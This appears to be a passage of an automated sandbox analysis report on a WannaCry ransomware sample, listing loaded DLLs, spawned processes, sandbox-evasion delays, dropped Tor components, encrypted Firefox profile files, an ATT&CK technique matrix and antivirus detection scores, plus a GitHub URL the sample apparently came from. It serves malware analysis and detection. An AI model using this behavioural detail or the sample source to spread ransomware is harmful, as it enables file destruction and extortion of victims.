Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: riched32.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: riched20.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: usp10.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: msls31.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: riched32.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: riched20.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: usp10.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: msls31.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskse.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Downloads\taskse.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Downloads\taskse.exe	Section loaded: winsta.dll
Source: C:\Users\user\Downloads\taskse.exe	Section loaded: userenv.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: riched32.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: riched20.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: usp10.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: msls31.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: photometadatahandler.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: mfsrcsnk.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: mfplat.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: rtworkq.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: libevent-2-0-5.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: libssp-0.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: libeay32.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: ssleay32.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: zlib1.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: libssp-0.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: libgcc_s_sjlj-1.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: libgcc_s_sjlj-1.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: libssp-0.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: netutils.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: netutils.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: propsys.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: netutils.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe	Section loaded: dnsapi.dll

Source: C:\Users\user\Downloads\WannaCry (3).EXE	Process created: attrib.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Process created: attrib.exe
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Process created: reg.exe
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Process created: reg.exe
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Process created: attrib.exe
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Process created: reg.exe
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Process created: attrib.exe

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Downloads\WannaCry (3).EXE	Window / User API: threadDelayed 731
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Window / User API: threadDelayed 985

Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\TaskData\Tor\libevent_extra-2-0-5.dll	Jump to dropped file
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\TaskData\Tor\ssleay32.dll	Jump to dropped file
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\TaskData\Tor\zlib1.dll	Jump to dropped file
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\TaskData\Tor\libevent_core-2-0-5.dll	Jump to dropped file
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\TaskData\Tor\libevent-2-0-5.dll	Jump to dropped file
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\TaskData\Tor\libssp-0.dll	Jump to dropped file
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\TaskData\Tor\libeay32.dll	Jump to dropped file
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\TaskData\Tor\libgcc_s_sjlj-1.dll	Jump to dropped file

Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 4064	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 5156	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 4064	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 5156	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 5156	Thread sleep count: 33 > 30
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 5156	Thread sleep time: -990000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 4064	Thread sleep time: -660000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 2464	Thread sleep count: 731 > 30
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 2464	Thread sleep time: -110000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 5156	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 2464	Thread sleep time: -50000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 4064	Thread sleep count: 31 > 30
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 4064	Thread sleep time: -930000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 2464	Thread sleep count: 985 > 30
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 5156	Thread sleep count: 46 > 30
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 5156	Thread sleep time: -1380000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 4064	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Downloads\WannaCry (3).EXE TID: 5156	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Thread delayed: delay time: 30000

Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\prefs.js.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\prefs.js.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\prefs.js.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\prefs.js.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\prefs.js.WNCRYT
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\prefs.js.WNCRYT

Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	1 Windows Management Instrumentation	12 Scripting	1 DLL Side-Loading	1 DLL Side-Loading	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Browser Session Hijacking	2 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 File Deletion	LSASS Memory	3 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Multi-hop Proxy	Exfiltration Over Bluetooth	1 Inhibit System Recovery
Email Addresses	DNS Server	Domain Accounts	At	1 Browser Extensions	1 Registry Run Keys / Startup Folder	1 Masquerading	Security Account Manager	12 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	1 Services File Permissions Weakness	1 Modify Registry	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Services File Permissions Weakness	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Source	Detection	Scanner	Label	Link
https://github.com/limiteci/WannaCry	0%	Avira URL Cloud	safe
https://github.com/limiteci/WannaCry	0%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	100%	Avira	TR/Ransom.JB
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	100%	Joe Sandbox ML
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	92%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp	92%	Virustotal		Browse
C:\ProgramData\Microsoft\AppV\Setup\@WanaDecryptor@.exe.lnk	100%	Avira	LNK/Runner.VPDJ
C:\@WanaDecryptor@.exe	100%	Avira	TR/FileCoder.724645
C:\@WanaDecryptor@.exe	100%	Joe Sandbox ML
C:\@WanaDecryptor@.exe	97%	ReversingLabs	Win32.Ransomware.WannaCry
C:\@WanaDecryptor@.exe	89%	Virustotal		Browse
C:\Users\user\Downloads\taskdl.exe	89%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Downloads\taskdl.exe	88%	Virustotal		Browse
C:\Users\user\Downloads\taskse.exe	87%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Users\user\Downloads\taskse.exe	89%	Virustotal		Browse
C:\ProgramData\Microsoft\AppV\Setup\@WanaDecryptor@.exe.lnk	100%	Avira	LNK/Runner.VPDJ
C:\@WanaDecryptor@.exe	100%	Avira	TR/FileCoder.724645
C:\@WanaDecryptor@.exe	100%	Joe Sandbox ML
C:\Users\user\Downloads\TaskData\Tor\libeay32.dll	0%	ReversingLabs
C:\Users\user\Downloads\TaskData\Tor\libeay32.dll	0%	Virustotal		Browse
C:\Users\user\Downloads\TaskData\Tor\libevent-2-0-5.dll	0%	ReversingLabs
C:\Users\user\Downloads\TaskData\Tor\libevent-2-0-5.dll	0%	Virustotal		Browse
C:\Users\user\Downloads\TaskData\Tor\libevent_core-2-0-5.dll	0%	ReversingLabs
